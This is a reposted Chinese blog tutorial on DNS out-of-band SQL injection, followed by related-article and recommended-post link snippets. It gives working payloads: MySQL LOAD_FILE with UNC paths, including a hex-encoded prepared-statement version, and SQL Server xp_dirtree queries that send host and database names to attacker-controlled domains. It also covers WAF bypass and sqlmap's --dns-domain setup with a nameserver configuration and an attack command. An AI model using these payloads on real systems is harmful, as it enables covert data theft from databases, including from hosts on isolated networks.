sqlmap利用DNS进行oob(out of band)注入(转)
0x00 起因
实际案子的时候遇到了一个注入,过狗可以使用sqlmap,但是是基于时间的注入和限制频率需要使用--delay参数,本来就是延时再加上--delay等的心力憔悴。所有有了下面介绍使用sqlmap利用DNS进行oob(out of band)注入,快速出数据。一般情况下仅适用于windows平台
0x01 场景
你有没有遇到这样类似的注入场景。
1、时间盲注,数据库、表及字段内容特别多,等到花儿也谢了。
2、mysql5.6+只能使用mysqli或pdo连接方式,多推荐使用pdo连接。使用pdo连接方式,可以执行多语句,但是PDO只会返回第一条SQL语句的执行结果,所以一般不能直接拿到数据,被迫通过update某个可见字段或者sleep注入
3、遇到waf拦截,含有特定内容的返回包接受不到,明明测试没有拦截过滤,感觉执行成功了,却没有接收到返回数据(能执行命令的时候也可以向web目录写文件)
0x02 原理
使用unc路径,会对指定的域名进行dns查询,使用dns信道,配合dns服务器收到的数据可快速得到数据内容。
使用dns有一定的好处,可以突破主机网络隔离,例如dmz主机不能直接连外网,但是配置的网络可达的dns服务器往往可以,通过查询域名递归的方式,dns服务器可以将返回数据通过dns协议带出去。unc路径是windows下的特性,默认安装的linux下不存在这样的功能。
流程图如下:
mysql使用pdo链接数据库盲注判断是否成功的测试语句(普通的注入也可以参考)
SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));
select hex("SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));")
set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a;
mysql的使用场景:
之前抓到国内dns递归的上层dns服务器有360、tencent、ali的,如果我有一个这样的节点dns服务器,肯定可以收获很多羞羞的网站,想想还有点小激动呢≥▽≤sqlserver可以使用以下方式
declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')
sqlserver的使用场景:
0x03 手工测试遇到的问题及解决方案
- 因为存在
dns缓存,请求过一次域名后,会在本机产生dns记录,不会向外递归查询,所以unc路径中DNS域名不能相同 unc路径长度不能过长,通过sqlserver报错显示以 '\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 开头的 标识符 太长。最大长度为 128。
可知unc路径最大长度为128unc路径中不能含有空格等特殊字符,包含的话不会发送dns请求
以sqlserver的注入为例,参考sqlmap给出的方案解决
'; DECLARE @host varchar(1024);
SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc';
EXEC('master..xp_dirtree "\\'+@host+'\cCkc"')--
- 通过在域名中添加随机字符串
'rMy','Nrz'确保每次查询dns不存在缓存 - 通过使用
substring()函数每次传输特定位数的数据 - 通过使用
master.dbo.fn_varbintohexstr()存储过程对获得数据进行16禁止编码
0x04 使用sqlmap的dns-domain参数进行oob注入
这么方便快捷的注入方式怎么会没有自动化的工具,仔细看过sqlmap文档的同学肯定知道--dns-domain的参数,这就是sqlmap集成的利用dns进行oob注入的方法
使用方法:sqlmap使用--dns-domain参数时候会监听53端口,我们需要把我们获得数据所使用的域名的dns服务器配置到我们运行sqlmap的主机,就可以获得dns外带的数据。
因为配置dns服务器的时候也需要dns,所以我们需要两个域名,详细配置如下:
配置我们的用于解析dns的nameserver的域名ns1.xxx.com,ns2.xxx.com指向我们运行sqlmap的主机ip,这里我使用*通配符配置A记录
配置我们用于外带数据的域名rainism.cc的域名服务器为ns1.xxx.com和ns2.xxx.com
我们在外网的vps上执行如下命令sqlmap.py -u 'http://xxoo.com/index.php?id=1*' --random-agent --dns-domain='rainism.cc' -v 3
可以看到sqlmap执行的语句和返回的数据

使用tcpdump监听53端口,可以看到回传的数据内容

sqlmap利用DNS进行oob(out of band)注入(转)的更多相关文章
- 利用DNS实现SQL注入带外查询(OOB)
根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inference(经典SQL注入),inband(盲注.推理注入.带内注入)和out-of-band 一.什么是OOB out-of-ban ...
- 利用DNS Zone Transfers漏洞工具dnswalk
利用DNS Zone Transfers漏洞工具dnswalk DNS Zone Transfers(DNS区域传输)是指一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库.当主服 ...
- 利用dns解析来实现网站的负载均衡
当网站的访问量大了就会考虑负载均衡,这也是每一个架构师的基本功了,其基本地位就相当于相声里的说学逗唱,活好不好就看这个了 :) 传统的负载均衡思路是单点的,不管你是硬件的还是软件的基本都是这样的原理 ...
- 利用DNS AAAA记录和IPv6地址传输后门
0x00 前言 在本文中,我想解释如何在DNS流量中利用IPv6地址(AAAA)记录传输Payload.在我之前的文章中,我解释了如何利用DNS和PTR记录,现在我们将讨论AAAA记录. 本文分为两部 ...
- iodine免费上网——本质就是利用dns tunnel建立tcp,然后tcp proxy来实现通过访问虚拟dns0网卡来访问你的dns 授权server
我的命令: server端: sudo iodined -P passwd -f -DD 10.0.0.100 abc.com client端(直连模式,-r表示使用xxx.abc.com的xxx来转 ...
- DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器
DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E ...
- 技术报告:APT组织Wekby利用DNS请求作为C&C设施,攻击美国秘密机构
技术报告:APT组织Wekby利用DNS请求作为C&C设施,攻击美国秘密机构 最近几周Paloalto Networks的研究人员注意到,APT组织Wekby对美国的部分秘密机构展开了一次攻击 ...
- 利用DNS进行命令控制和搭建隧道
目录 利用DNS进行命令控制(DNS-Shell) 利用DNS搭建隧道 利用DNS进行命令控制(DNS-Shell) DNS-Shell是一款通过DNS信道实现交互式Shell的强大工具,该工具的服务 ...
- 黑客是如何利用DNS域传送漏洞进行渗透与攻击的?
一.DNS域传送 DNS :Domain Name System 一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53 常见DNS记录类型: 1 ...
随机推荐
- 互联网校招面试必备——Java多线程
本文首发于我的个人博客:尾尾部落 本文是我刷了几十篇一线互联网校招java后端开发岗位的面经后总结的多线程相关题目,虽然有点小长,但是面试前看一看,相信能帮你轻松啃下多线程这块大骨头. 什么是进程,什 ...
- 笔记:《机器学习训练秘籍》——吴恩达deeplearningai微信公众号推送文章
说明 该文为笔者在微信公众号:吴恩达deeplearningai 所推送<机器学习训练秘籍>系列文章的学习笔记,公众号二维码如下,1到15课课程链接点这里 该系列文章主要是吴恩达先生在机器 ...
- Sony深度学习框架 - Neural Network Console - 教程(1)- 原来深度学习可以如此简单
“什么情况!?居然不是黑色背景+白色文字的命令行.对,今天要介绍的是一个拥有白嫩的用户界面的深度学习框架.” 人工智能.神经网络.深度学习,这些概念近年已经涌入每个人的生活中,我想很多人早就按捺不住想 ...
- ossec代理
代理端 OSSEC有两种代理端:可安装的代理端和哑代理端(免安装).可安装的代理端被安装在主机上,通过OSSEC的加密协议将主机的信息发送到OSSEC服务器.亚代理端则不需在远端主机进行安装.他作为O ...
- DataGridView 复选框 操作大全
DataGridViewCheckBoxColumn dtCheck = new DataGridViewCheckBoxColumn(); dtCheck.DataPropertyName = &q ...
- 王者荣耀交流协会final发布-第一次scrum立会
1.例会照片 成员王超,高远博,冉华,王磊,王玉玲,任思佳,袁玥全部到齐 master:袁玥 2.时间跨度 2017年12月1日 17:00 — 17:31,总计31分钟 3.地点 一食堂二楼沙发座椅 ...
- Beta后续感想/吐槽
感想 磨人的软工实践终于结束了 艰难的度过了一学期,还是写点什么纪念一下吧. 大一大二的时候就听说软工实践是魔鬼般的锻炼,于是当年不知天高地厚的我是很期待的,终于,我大三了. 后来,我长大了. alp ...
- Journal entry of the thirteenth chapter to chapter seventeenth(第十三章和十七章阅读与疑问)
第十三章: 软件测试的意义在于: a. 发现软件错误: b. 有效定义和实现软件成分由低层到高层的组装过程: c. 验证软件是否满足任务书和系统定义文档所规定的技术要求: d. ...
- 【CSAPP笔记】2. 整型运算
现在想补补推荐这本书的理由. Most books on systems-computer architecture, compilers, operating systems, and networ ...
- week_2 四则运算
coding地址: https://git.coding.net/lvgx/week_2.git 一. 需求分析 1.接收一个输入参数n,然后随机产生n道加减乘除(分别使用符号+-*÷来表示)练习题 ...